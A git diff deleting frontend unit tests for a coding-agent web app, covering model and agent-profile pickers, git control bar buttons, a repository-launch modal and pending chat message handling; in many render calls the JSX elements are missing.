}); - }); - - it("offers selectable rows on a cloud backend for ACP conversations (mid-conversation model switching is supported)", () => { - useActiveBackendMock.mockReturnValue({ backend: { kind: "cloud" } }); - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - acp_server: "claude-code", - llm_model: "sonnet", - }, - }); - - renderWithProviders(); - - fireEvent.click(screen.getByTestId("chat-input-llm-model")); - - // Cloud ACP conversations support mid-conversation model switching, - // so selectable model rows are shown. - const selectedRow = screen.getByTestId( - "chat-input-acp-model-option-sonnet", - ); - expect(selectedRow).toBeInTheDocument(); - expect(selectedRow).toHaveTextContent("Claude Sonnet 4.6"); - expect( - screen.getByTestId("chat-input-acp-model-option-opus[1m]"), - ).toBeInTheDocument(); - const popover = screen.getByTestId("chat-input-llm-model-popover"); - expect(popover).toHaveTextContent("Claude Sonnet 4.6"); - expect(screen.getByRole("link")).toHaveAttribute( - "href", - "/settings/agents", - ); - }); -}); diff --git a/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx b/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx deleted file mode 100644 index fd975199c..000000000 --- a/__tests__/components/features/chat/components/chat-input-profile-picker.test.tsx +++ /dev/null @@ -1,236 +0,0 @@ -import { fireEvent, screen } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { setStoredConversationMetadata } from "#/api/conversation-metadata-store"; - -const useAgentProfilesMock = vi.fn(); -const useActiveConversationMock = vi.fn(); -const activateProfileMutate = vi.fn(); -const createConversationMutate = vi.fn(); - -vi.mock("#/hooks/query/use-agent-profiles", () => ({ - useAgentProfiles: () => useAgentProfilesMock(), -})); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -vi.mock("#/hooks/mutation/use-create-conversation", () => ({ - useCreateConversation: () => ({ mutate: createConversationMutate }), - CREATE_CONVERSATION_MUTATION_KEY: ["create-conversation"], -})); - -vi.mock("#/hooks/mutation/use-activate-agent-profile", () => ({ - useActivateAgentProfile: () => ({ - mutate: activateProfileMutate, - isPending: false, - }), - ACTIVATE_AGENT_PROFILE_MUTATION_KEY: ["activate-agent-profile"], -})); - -import { ChatInputProfilePicker } from "#/components/features/chat/components/chat-input-profile-picker"; - -const PROFILES = [ - { id: "id-default", name: "Default", agent_kind: "openhands" }, - { id: "id-codex", name: "Codex", agent_kind: "acp" }, -]; - -describe("ChatInputProfilePicker", () => { - beforeEach(() => { - useAgentProfilesMock.mockReset(); - useActiveConversationMock.mockReset(); - activateProfileMutate.mockReset(); - createConversationMutate.mockReset(); - localStorage.clear(); - - useAgentProfilesMock.mockReturnValue({ - data: { profiles: PROFILES, active_agent_profile_id: "id-default" }, - isLoading: false, - }); - useActiveConversationMock.mockReturnValue({ - data: undefined, - isLoading: false, - }); - }); - - const renderHomePicker = () => - renderWithProviders(, { - navigation: { conversationId: null }, - }); - - it("renders nothing when there are no profiles", () => { - useAgentProfilesMock.mockReturnValue({ - data: { profiles: [], active_agent_profile_id: null }, - isLoading: false, - }); - - const { container } = renderHomePicker(); - expect(container).toBeEmptyDOMElement(); - }); - - it("renders nothing while a cloud start task is provisioning", () => { - const { container } = renderWithProviders(, { - navigation: { conversationId: "task-start-1" }, - }); - - expect(container).toBeEmptyDOMElement(); - }); - - it("labels the button with the active profile", () => { - renderHomePicker(); - expect(screen.getByTestId("chat-input-agent-profile")).toHaveTextContent( - "Default", - ); - }); - - it("activates the picked profile", () => { - renderHomePicker(); - fireEvent.click(screen.getByTestId("chat-input-agent-profile")); - fireEvent.click( - screen.getByTestId("chat-input-agent-profile-option-Codex"), - ); - - expect(activateProfileMutate).toHaveBeenCalledWith("id-codex"); - }); - - it("does not activate when the active profile is re-selected", () => { - renderHomePicker(); - fireEvent.click(screen.getByTestId("chat-input-agent-profile")); - fireEvent.click( - screen.getByTestId("chat-input-agent-profile-option-Default"), - ); - - expect(activateProfileMutate).not.toHaveBeenCalled(); - }); - - it("links to the AgentProfile library in settings", () => { - const { container } = renderHomePicker(); - fireEvent.click(screen.getByTestId("chat-input-agent-profile")); - - expect( - container.ownerDocument.querySelector('a[href="/settings/agents"]'), - ).not.toBeNull(); - }); - - it("shows the launched profile inside a blank conversation", () => { - useAgentProfilesMock.mockReturnValue({ - data: { profiles: PROFILES, active_agent_profile_id: "id-codex" }, - isLoading: false, - }); - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-1", - launched_agent_profile: { - agent_profile_id: "id-default", - revision: 2, - }, - }, - isLoading: false, - }); - - renderWithProviders(, { - navigation: { conversationId: "conv-1" }, - }); - - expect(screen.getByTestId("chat-input-agent-profile")).toHaveTextContent( - "Default", - ); - }); - - it("starts a replacement conversation with the selected profile and workspace", () => { - const navigate = vi.fn(); - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-workspace", - selected_repository: null, - selected_workspace: "/workspace/alpha", - launched_agent_profile: { - agent_profile_id: "id-default", - revision: 1, - }, - }, - isLoading: false, - }); - - renderWithProviders(, { - navigation: { conversationId: "conv-workspace", navigate }, - }); - fireEvent.click(screen.getByTestId("chat-input-agent-profile")); - - expect(screen.getByText("CHAT$START_NEW_WITH_PROFILE_HINT")).toBeVisible(); - fireEvent.click( - screen.getByTestId("chat-input-agent-profile-option-Codex"), - ); - - expect(createConversationMutate).toHaveBeenCalledWith( - { - agentProfileId: "id-codex", - entryPoint: "blank_conversation_profile_picker", - workingDir: "/workspace/alpha", - workspaceMode: "local_repo", - }, - expect.objectContaining({ onSuccess: expect.any(Function) }), - ); - expect(activateProfileMutate).not.toHaveBeenCalled(); - - const onSuccess = createConversationMutate.mock.calls[0]?.[1]?.onSuccess; - onSuccess({ conversation_id: "conv-2" }); - expect(navigate).toHaveBeenCalledWith("/conversations/conv-2"); - }); - - it("preserves repository and plugin context when changing a blank conversation profile", () => { - setStoredConversationMetadata("conv-repo", { - selected_repository: "OpenHands/agent-canvas", - selected_branch: "feature", - git_provider: "github", - plugins: [ - { - source: "github:OpenHands/extensions", - ref: "v1", - repo_path: "plugins/weather", - }, - ], - }); - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-repo", - selected_repository: "OpenHands/agent-canvas", - selected_branch: "feature", - git_provider: "github", - launched_agent_profile: { - agent_profile_id: "id-default", - revision: 1, - }, - }, - isLoading: false, - }); - - renderWithProviders(, { - navigation: { conversationId: "conv-repo" }, - }); - fireEvent.click(screen.getByTestId("chat-input-agent-profile")); - fireEvent.click( - screen.getByTestId("chat-input-agent-profile-option-Codex"), - ); - - expect(createConversationMutate).toHaveBeenCalledWith( - expect.objectContaining({ - agentProfileId: "id-codex", - repository: { - name: "OpenHands/agent-canvas", - gitProvider: "github", - branch: "feature", - }, - plugins: [ - { - source: "github:OpenHands/extensions", - ref: "v1", - repo_path: "plugins/weather", - }, - ], - }), - expect.any(Object), - ); - }); -}); diff --git a/__tests__/components/features/chat/components/resolve-picker-kind.test.ts b/__tests__/components/features/chat/components/resolve-picker-kind.test.ts deleted file mode 100644 index ae9e81b7b..000000000 --- a/__tests__/components/features/chat/components/resolve-picker-kind.test.ts +++ /dev/null @@ -1,173 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - hasConversationStarted, - resolvePickerKind, - type ResolvePickerKindInput, -} from "#/components/features/chat/components/resolve-picker-kind"; - -const base: ResolvePickerKindInput = { - hasConversation: false, - isCloud: false, - isAcp: false, - profilesAvailable: true, -}; - -describe("resolvePickerKind", () => { - describe("home (no active conversation)", () => { - it("shows the agent-profile picker when profiles are available", () => { - expect(resolvePickerKind({ ...base, hasConversation: false })).toBe( - "agent-profile", - ); - // isCloud / isAcp don't matter once profiles exist. - expect( - resolvePickerKind({ - ...base, - hasConversation: false, - isCloud: true, - isAcp: true, - }), - ).toBe("agent-profile"); - }); - - it("falls back to the LLM-profile picker on local when no profiles exist", () => { - expect( - resolvePickerKind({ - ...base, - hasConversation: false, - isCloud: false, - profilesAvailable: false, - }), - ).toBe("llm-profile"); - }); - - it("falls back to the model picker on cloud when no profiles exist", () => { - // Cloud has no home LLM-profile activate path. - expect( - resolvePickerKind({ - ...base, - hasConversation: false, - isCloud: true, - profilesAvailable: false, - }), - ).toBe("model"); - }); - }); - - describe("inside a conversation", () => { - it("shows the agent-profile picker for an unstarted conversation when profiles exist", () => { - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: false, - isCloud: false, - isAcp: false, - profilesAvailable: true, - }), - ).toBe("agent-profile"); - }); - - it("uses the pre-run fallback for an unstarted conversation when profiles are unavailable", () => { - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: false, - isCloud: false, - profilesAvailable: false, - }), - ).toBe("llm-profile"); - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: false, - isCloud: true, - profilesAvailable: false, - }), - ).toBe("model"); - }); - - it("shows the model picker for an ACP conversation regardless of backend", () => { - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: true, - isCloud: false, - isAcp: true, - }), - ).toBe("model"); - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: true, - isCloud: true, - isAcp: true, - }), - ).toBe("model"); - }); - - it("shows the LLM-profile picker for an OpenHands conversation regardless of backend", () => { - // /switch_profile is a real endpoint on both backends (cloud proxies - // POST /api/v1/app-conversations/{id}/switch_profile) — no cloud - // restriction here. - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: true, - isCloud: false, - isAcp: false, - }), - ).toBe("llm-profile"); - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: true, - isCloud: true, - isAcp: false, - }), - ).toBe("llm-profile"); - }); - - it("ignores profilesAvailable once a conversation is active", () => { - expect( - resolvePickerKind({ - ...base, - hasConversation: true, - hasStartedConversation: true, - isCloud: false, - isAcp: false, - profilesAvailable: false, - }), - ).toBe("llm-profile"); - }); - }); -}); - -describe("hasConversationStarted", () => { - const empty = { - isLoadingHistory: false, - hasUserEvents: false, - hasPendingUserMessages: false, - hasSubstantiveAgentActions: false, - hasModelEntries: false, - }; - - it("keeps a fully loaded blank conversation in pre-run state", () => { - expect(hasConversationStarted(empty)).toBe(false); - }); - - it.each([ - "isLoadingHistory", - "hasUserEvents", - "hasPendingUserMessages", - "hasSubstantiveAgentActions", - "hasModelEntries", - ] as const)("treats %s as started", (field) => { - expect(hasConversationStarted({ ...empty, [field]: true })).toBe(true); - }); -}); diff --git a/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx b/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx deleted file mode 100644 index 83f86e237..000000000 --- a/__tests__/components/features/chat/git-control-bar-pull-button.test.tsx +++ /dev/null @@ -1,64 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { GitControlBarPullButton } from "#/components/features/chat/git-control-bar-pull-button"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackPullButtonClick: vi.fn(), - }), -})); - -vi.mock("#/icons/u-arrow-down.svg?react", () => ({ - default: ({ color }: { color?: string }) => ( - - ), -})); - -describe("GitControlBarPullButton", () => { - it("uses muted theme colors when inactive during conversation loading", () => { - render( - , - ); - - const button = screen.getByRole("button"); - expect(button).toBeDisabled(); - expect(button.className).toContain("text-[var(--oh-muted)]"); - expect(button.className).toContain("opacity-50"); - expect(button.className).not.toContain("hover:bg-tertiary"); - expect(screen.getByTestId("pull-icon")).toHaveAttribute( - "data-color", - "var(--oh-muted)", - ); - }); - - it("uses active theme colors when conversation is ready", () => { - render( - , - ); - - const button = screen.getByRole("button"); - expect(button).not.toBeDisabled(); - expect(button.className).toContain("text-white"); - expect(button.className).toContain("hover:bg-tertiary"); - expect(screen.getByTestId("pull-icon")).toHaveAttribute( - "data-color", - "white", - ); - }); -}); diff --git a/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx b/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx deleted file mode 100644 index 46d6ca2f5..000000000 --- a/__tests__/components/features/chat/git-control-bar-repo-button.test.tsx +++ /dev/null @@ -1,204 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { GitControlBarRepoButton } from "#/components/features/chat/git-control-bar-repo-button"; - -// Mock react-i18next -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -// Mock GitProviderIcon -vi.mock("#/components/shared/git-provider-icon", () => ({ - GitProviderIcon: ({ gitProvider }: { gitProvider: string }) => ( - {gitProvider} - ), -})); - -// Mock GitExternalLinkIcon -vi.mock("#/components/features/chat/git-external-link-icon", () => ({ - GitExternalLinkIcon: () => ( - external - ), -})); - -// Mock RepoForkedIcon -vi.mock("#/icons/repo-forked.svg?react", () => ({ - default: () => forked, -})); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ data: { provider_tokens_set: {} } }), -})); - -// Mock constructRepositoryUrl -vi.mock("#/utils/utils", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - constructRepositoryUrl: (provider: string, repo: string) => - `https://${provider}.com/${repo}`, - }; -}); - -describe("GitControlBarRepoButton", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - describe("when repository is connected", () => { - it("should render as a link with repository name", () => { - render( - , - ); - - const link = screen.getByRole("link"); - expect(link).toHaveAttribute("href", "https://github.com/owner/repo"); - expect(link).toHaveAttribute("target", "_blank"); - expect(screen.getByText("owner/repo")).toBeInTheDocument(); - }); - - it("should show git provider icon and external link icon", () => { - render( - , - ); - - expect(screen.getByTestId("git-provider-icon")).toBeInTheDocument(); - expect(screen.getByTestId("git-external-link-icon")).toBeInTheDocument(); - }); - - it("should not show repo forked icon", () => { - render( - , - ); - - expect(screen.queryByTestId("repo-forked-icon")).not.toBeInTheDocument(); - }); - }); - - describe("when only a workspace name is provided", () => { - it("should display the workspace name as the button text", () => { - render( - , - ); - - expect(screen.getByText("test")).toBeInTheDocument(); - }); - }); - - describe("when no repository is connected", () => { - it("should render as a button with 'Connect Repo' i18n key", () => { - render( - , - ); - - const button = screen.getByRole("button"); - expect(button).toBeInTheDocument(); - expect(screen.getByText("COMMON$CONNECT_REPO")).toBeInTheDocument(); - }); - - it("should show folder-open icon for connect-repo CTA", () => { - render( - , - ); - - expect( - screen.getByTestId("git-control-bar-connect-repo-icon"), - ).toBeInTheDocument(); - expect(screen.queryByTestId("repo-forked-icon")).not.toBeInTheDocument(); - }); - - it("should not show external link icon", () => { - render( - , - ); - - expect( - screen.queryByTestId("git-external-link-icon"), - ).not.toBeInTheDocument(); - }); - - it("should call onClick when clicked", async () => { - const handleClick = vi.fn(); - const user = userEvent.setup(); - - render( - , - ); - - await user.click(screen.getByRole("button")); - expect(handleClick).toHaveBeenCalledTimes(1); - }); - - it("should be disabled when disabled prop is true", () => { - render( - , - ); - - const button = screen.getByRole("button"); - expect(button).toBeDisabled(); - }); - - it("should be clickable when disabled prop is false", () => { - render( - , - ); - - const button = screen.getByRole("button"); - expect(button).not.toBeDisabled(); - }); - - it("should not call onClick when disabled", async () => { - const handleClick = vi.fn(); - const user = userEvent.setup(); - - render( - , - ); - - await user.click(screen.getByRole("button")); - expect(handleClick).not.toHaveBeenCalled(); - }); - }); -}); diff --git a/__tests__/components/features/chat/git-control-bar.test.tsx b/__tests__/components/features/chat/git-control-bar.test.tsx deleted file mode 100644 index b1c067d0a..000000000 --- a/__tests__/components/features/chat/git-control-bar.test.tsx +++ /dev/null @@ -1,283 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { screen } from "@testing-library/react"; -import { renderWithProviders } from "test-utils"; - -import { useActiveBackend } from "#/contexts/active-backend-context"; -import { useActiveConversation } from "#/hooks/query/use-active-conversation"; -import { useTaskPolling } from "#/hooks/query/use-task-polling"; -import { useLocalGitInfo } from "#/hooks/query/use-local-git-info"; -import { useUnifiedWebSocketStatus } from "#/hooks/use-unified-websocket-status"; -import { useConversationWebSocket } from "#/contexts/conversation-websocket-context"; -import { useSendMessage } from "#/hooks/use-send-message"; -import { useUpdateConversationRepository } from "#/hooks/mutation/use-update-conversation-repository"; -import { useHomeStore } from "#/stores/home-store"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { getStoredConversationMetadata } from "#/api/conversation-metadata-store"; -import { GitControlBar } from "#/components/features/chat/git-control-bar"; -import { ScrollProvider } from "#/context/scroll-context"; - -// Holder so the OpenRepositoryModal mock can hand its `onLaunch` prop back -// to the test — the modal renders null but the parent's launch flow is the -// only way to drive handleLaunchRepository. -const mocks = vi.hoisted(() => ({ - modalLaunchHandler: { - current: null as ((repo: unknown, branch: unknown) => void) | null, - }, -})); - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: "test-conversation-id" }), -})); -vi.mock("#/contexts/active-backend-context"); -vi.mock("#/hooks/query/use-active-conversation"); -vi.mock("#/hooks/query/use-task-polling"); -vi.mock("#/hooks/query/use-local-git-info"); -vi.mock("#/hooks/use-unified-websocket-status"); -vi.mock("#/contexts/conversation-websocket-context"); -vi.mock("#/hooks/use-send-message"); -vi.mock("#/hooks/mutation/use-update-conversation-repository"); -vi.mock("#/stores/home-store"); -vi.mock("#/stores/optimistic-user-message-store"); -vi.mock("#/api/conversation-metadata-store"); - -vi.mock("#/components/features/chat/git-control-bar-repo-button", () => ({ - GitControlBarRepoButton: ({ disabled }: { disabled?: boolean }) => ( - - ))} -
- ), - }), -); - -// Mock GitRepoDropdown -vi.mock( - "#/components/features/home/git-repo-dropdown/git-repo-dropdown", - () => ({ - GitRepoDropdown: ({ - onChange, - }: { - onChange: (repo?: { - id: number; - full_name: string; - git_provider: string; - main_branch: string; - }) => void; - }) => ( - - ), - }), -); - -// Mock GitBranchDropdown -vi.mock( - "#/components/features/home/git-branch-dropdown/git-branch-dropdown", - () => ({ - GitBranchDropdown: ({ - onBranchSelect, - disabled, - }: { - onBranchSelect: (branch: { name: string } | null) => void; - disabled: boolean; - }) => ( - - ), - }), -); - -// Mock RepoForkedIcon -describe("OpenRepositoryModal", () => { - const mockOnClose = vi.fn(); - const mockOnLaunch = vi.fn(); - - beforeEach(() => { - vi.clearAllMocks(); - mockProviders.current = ["github"]; - }); - - it("should not render when isOpen is false", () => { - render( - , - ); - - expect( - screen.queryByText("CONVERSATION$OPEN_REPOSITORY"), - ).not.toBeInTheDocument(); - }); - - it("should render modal with title and description when open", () => { - render( - , - ); - - expect( - screen.getByText("CONVERSATION$OPEN_REPOSITORY"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("close-open-repository-modal"), - ).toBeInTheDocument(); - expect( - screen.getByText("CONVERSATION$SELECT_OR_INSERT_LINK"), - ).toBeInTheDocument(); - }); - - it("calls onClose when the header close button is clicked", async () => { - const user = userEvent.setup(); - render( - , - ); - - await user.click(screen.getByTestId("close-open-repository-modal")); - - expect(mockOnClose).toHaveBeenCalledTimes(1); - }); - - it("should render Launch and Cancel buttons", () => { - render( - , - ); - - expect(screen.getByText("BUTTON$LAUNCH")).toBeInTheDocument(); - expect(screen.getByText("BUTTON$CANCEL")).toBeInTheDocument(); - }); - - it("places Cancel before Launch in the footer so the dominant action is the last focusable button", () => { - // Arrange: render the modal so both footer buttons are mounted. - render( - , - ); - - // Act: locate both footer buttons. - const cancel = screen.getByText("BUTTON$CANCEL"); - const launch = screen.getByText("BUTTON$LAUNCH"); - - // Assert: Cancel precedes the dominant Launch action in DOM order. - // eslint-disable-next-line no-bitwise - expect( - cancel.compareDocumentPosition(launch) & - Node.DOCUMENT_POSITION_FOLLOWING, - ).toBeTruthy(); - }); - - it("should disable Launch button when no repository or branch is selected", () => { - render( - , - ); - - const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button"); - expect(launchButton).toBeDisabled(); - }); - - it("should call onClose and reset state when Cancel is clicked", async () => { - const user = userEvent.setup(); - - render( - , - ); - - await user.click(screen.getByText("BUTTON$CANCEL")); - expect(mockOnClose).toHaveBeenCalledTimes(1); - }); - - it("should enable Launch button after selecting repository and branch", async () => { - const user = userEvent.setup(); - - render( - , - ); - - // Select a repository - await user.click(screen.getByTestId("git-repo-dropdown")); - - // Select a branch - await user.click(screen.getByTestId("git-branch-dropdown")); - - const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button"); - expect(launchButton).not.toBeDisabled(); - }); - - it("should call onLaunch with selected repository and branch, then close", async () => { - const user = userEvent.setup(); - - render( - , - ); - - // Select repository and branch - await user.click(screen.getByTestId("git-repo-dropdown")); - await user.click(screen.getByTestId("git-branch-dropdown")); - - // Click Launch - await user.click(screen.getByText("BUTTON$LAUNCH")); - - expect(mockOnLaunch).toHaveBeenCalledWith( - { - id: 1, - full_name: "owner/repo", - git_provider: "github", - main_branch: "main", - }, - { name: "main" }, - ); - expect(mockOnClose).toHaveBeenCalledTimes(1); - }); - - it("should not call onLaunch when Launch is clicked without selections", async () => { - const user = userEvent.setup(); - - render( - , - ); - - // Force click the launch button even though it's disabled - const launchButton = screen.getByText("BUTTON$LAUNCH").closest("button")!; - await user.click(launchButton); - - expect(mockOnLaunch).not.toHaveBeenCalled(); - }); - - it("should reset branch selection when repository changes", async () => { - const user = userEvent.setup(); - - render( - , - ); - - // Select repository and branch - await user.click(screen.getByTestId("git-repo-dropdown")); - await user.click(screen.getByTestId("git-branch-dropdown")); - - // Launch button should be enabled - let launchButton = screen.getByText("BUTTON$LAUNCH").closest("button"); - expect(launchButton).not.toBeDisabled(); - - // Select a new repository (resets branch) - await user.click(screen.getByTestId("git-repo-dropdown")); - - // Launch button should be disabled again (branch was reset) - launchButton = screen.getByText("BUTTON$LAUNCH").closest("button"); - expect(launchButton).toBeDisabled(); - }); - - describe("provider switching", () => { - it("should not show provider dropdown when only one provider exists", () => { - mockProviders.current = ["github"]; - - render( - , - ); - - expect( - screen.queryByTestId("git-provider-dropdown"), - ).not.toBeInTheDocument(); - }); - - it("should show provider dropdown when multiple providers exist", () => { - mockProviders.current = ["github", "gitlab"]; - - render( - , - ); - - expect( - screen.getByTestId("git-provider-dropdown"), - ).toBeInTheDocument(); - expect(screen.getByTestId("provider-github")).toBeInTheDocument(); - expect(screen.getByTestId("provider-gitlab")).toBeInTheDocument(); - }); - - it("should reset repository and branch when provider changes", async () => { - mockProviders.current = ["github", "gitlab"]; - const user = userEvent.setup(); - - render( - , - ); - - // Select repo and branch - await user.click(screen.getByTestId("git-repo-dropdown")); - await user.click(screen.getByTestId("git-branch-dropdown")); - - // Launch should be enabled - let launchButton = screen.getByText("BUTTON$LAUNCH").closest("button"); - expect(launchButton).not.toBeDisabled(); - - // Switch provider — should reset selections - await user.click(screen.getByTestId("provider-gitlab")); - - // Launch should be disabled (repo and branch reset) - launchButton = screen.getByText("BUTTON$LAUNCH").closest("button"); - expect(launchButton).toBeDisabled(); - }); - }); -}); diff --git a/__tests__/components/features/chat/path-component.test.tsx b/__tests__/components/features/chat/path-component.test.tsx deleted file mode 100644 index 90ee0e66e..000000000 --- a/__tests__/components/features/chat/path-component.test.tsx +++ /dev/null @@ -1,34 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { isLikelyDirectory } from "#/components/features/chat/path-component"; - -describe("isLikelyDirectory", () => { - it("should return false for empty path", () => { - expect(isLikelyDirectory("")).toBe(false); - }); - - it("should return true for paths ending with forward slash", () => { - expect(isLikelyDirectory("/path/to/dir/")).toBe(true); - expect(isLikelyDirectory("dir/")).toBe(true); - }); - - it("should return true for paths ending with backslash", () => { - expect(isLikelyDirectory("C:\\path\\to\\dir\\")).toBe(true); - expect(isLikelyDirectory("dir\\")).toBe(true); - }); - - it("should return true for paths without extension", () => { - expect(isLikelyDirectory("/path/to/dir")).toBe(true); - expect(isLikelyDirectory("dir")).toBe(true); - }); - - it("should return false for paths ending with dot", () => { - expect(isLikelyDirectory("/path/to/dir.")).toBe(false); - expect(isLikelyDirectory("dir.")).toBe(false); - }); - - it("should return false for paths with file extensions", () => { - expect(isLikelyDirectory("/path/to/file.txt")).toBe(false); - expect(isLikelyDirectory("file.js")).toBe(false); - expect(isLikelyDirectory("script.test.ts")).toBe(false); - }); -}); diff --git a/__tests__/components/features/chat/pending-user-messages.test.tsx b/__tests__/components/features/chat/pending-user-messages.test.tsx deleted file mode 100644 index c1b3dc883..000000000 --- a/__tests__/components/features/chat/pending-user-messages.test.tsx +++ /dev/null @@ -1,194 +0,0 @@ -import React from "react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { render, screen, waitFor, fireEvent } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { renderWithProviders } from "test-utils"; -import { PendingUserMessages } from "#/components/features/chat/pending-user-messages"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { useConversationStore } from "#/stores/conversation-store"; - -const ACTIVE_CONVO = "conv-active"; - -const mockSend = vi.fn(); -vi.mock("#/hooks/use-send-message", () => ({ - useSendMessage: () => ({ send: mockSend }), -})); - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: ACTIVE_CONVO }), - useConversationId: () => ({ conversationId: ACTIVE_CONVO }), -})); - -describe("PendingUserMessages", () => { - beforeEach(() => { - mockSend.mockReset(); - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - useConversationStore.setState({ - messageRestoreIfEmpty: null, - messageToSend: null, - }); - }); - - afterEach(() => { - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - }); - - it("renders nothing when the queue is empty", () => { - const { container } = render(); - expect(container).toBeEmptyDOMElement(); - }); - - it("renders each queued message with the sending treatment", () => { - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "first message", - }); - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "second message", - }); - - renderWithProviders(); - - const messages = screen.getAllByTestId("user-message"); - expect(messages).toHaveLength(2); - expect(messages[0]).toHaveTextContent("first message"); - expect(messages[1]).toHaveTextContent("second message"); - messages.forEach((message) => { - expect(message).toHaveAttribute("data-pending-status", "sending"); - }); - expect(screen.getAllByTestId("chat-message-sending")).toHaveLength(2); - }); - - it("ignores pending entries belonging to a different conversation", () => { - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "mine", - }); - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: "other-convo", - text: "from another conversation", - }); - - renderWithProviders(); - - const messages = screen.getAllByTestId("user-message"); - expect(messages).toHaveLength(1); - expect(messages[0]).toHaveTextContent("mine"); - expect(screen.queryByText("from another conversation")).toBeNull(); - }); - - it("removes a sending message when stop is clicked", async () => { - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "cancel me", - }); - - renderWithProviders(); - - const message = screen.getByTestId("user-message"); - fireEvent.mouseEnter(message); - await waitFor(() => { - expect(screen.getByTestId("chat-message-stop")).toBeVisible(); - }); - fireEvent.click(screen.getByTestId("chat-message-stop")); - - await waitFor(() => { - expect(screen.queryByTestId("user-message")).not.toBeInTheDocument(); - }); - expect(useOptimisticUserMessageStore.getState().pendingMessages).toHaveLength( - 0, - ); - expect(useConversationStore.getState().messageRestoreIfEmpty).toEqual( - expect.objectContaining({ text: "cancel me" }), - ); - }); - - it("keeps the stop button out of the bubble layout while sending", () => { - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "hold my spot", - }); - - renderWithProviders(); - - expect(screen.getByTestId("chat-message-stop")).toHaveClass("opacity-0"); - }); - - it("shows an error state with a retry link when the message is in 'error'", () => { - const id = useOptimisticUserMessageStore - .getState() - .enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "broken message", - }); - useOptimisticUserMessageStore - .getState() - .markPendingMessageError(id, "Server unavailable"); - - renderWithProviders(); - - const message = screen.getByTestId("user-message"); - expect(message).toHaveAttribute("data-pending-status", "error"); - expect(screen.getByTestId("chat-message-error")).toBeInTheDocument(); - expect(screen.getByTestId("chat-message-retry")).toBeInTheDocument(); - }); - - it("re-sends and flips back to 'sending' when retry is clicked", async () => { - mockSend.mockResolvedValueOnce({ queued: false }); - const id = useOptimisticUserMessageStore - .getState() - .enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "retry me", - }); - useOptimisticUserMessageStore - .getState() - .markPendingMessageError(id, "Server unavailable"); - - renderWithProviders(); - - const user = userEvent.setup(); - await user.click(screen.getByTestId("chat-message-retry")); - - expect(mockSend).toHaveBeenCalledTimes(1); - expect(mockSend).toHaveBeenCalledWith( - expect.objectContaining({ - action: "message", - args: expect.objectContaining({ content: "retry me" }), - }), - ); - - await waitFor(() => { - const [entry] = - useOptimisticUserMessageStore.getState().pendingMessages; - expect(entry.status).toBe("sending"); - expect(entry.errorMessage).toBeUndefined(); - }); - }); - - it("flips back to 'error' if the retry attempt also fails", async () => { - mockSend.mockRejectedValueOnce(new Error("still broken")); - const id = useOptimisticUserMessageStore - .getState() - .enqueuePendingMessage({ - conversationId: ACTIVE_CONVO, - text: "retry me", - }); - useOptimisticUserMessageStore - .getState() - .markPendingMessageError(id, "Server unavailable"); - - renderWithProviders(); - - const user = userEvent.setup(); - await user.click(screen.getByTestId("chat-message-retry")); - - await waitFor(() => { - const [entry] = - useOptimisticUserMessageStore.getState().pendingMessages; - 